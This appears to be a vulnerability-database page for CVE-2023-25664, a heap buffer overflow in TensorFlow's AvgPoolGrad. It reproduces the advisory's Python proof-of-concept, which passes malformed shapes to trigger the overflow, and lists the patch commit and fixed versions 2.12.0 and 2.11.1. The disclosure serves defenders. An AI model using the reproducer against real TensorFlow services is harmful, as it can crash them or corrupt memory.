CVE-2023-25664
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
Description
### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ``` ### Patches We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by <evn@google.com>
How to fix CVE-2023-25664
To remediate CVE-2023-25664, upgrade the affected package to a fixed version below.
- —upgrade to 2.12.0 or later
- —upgrade to 2.11.1 or later
- —upgrade to 2.11.1 or later
Is CVE-2023-25664 being exploited?
Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.
Affected packages (3)
- from 0, < 2.12.0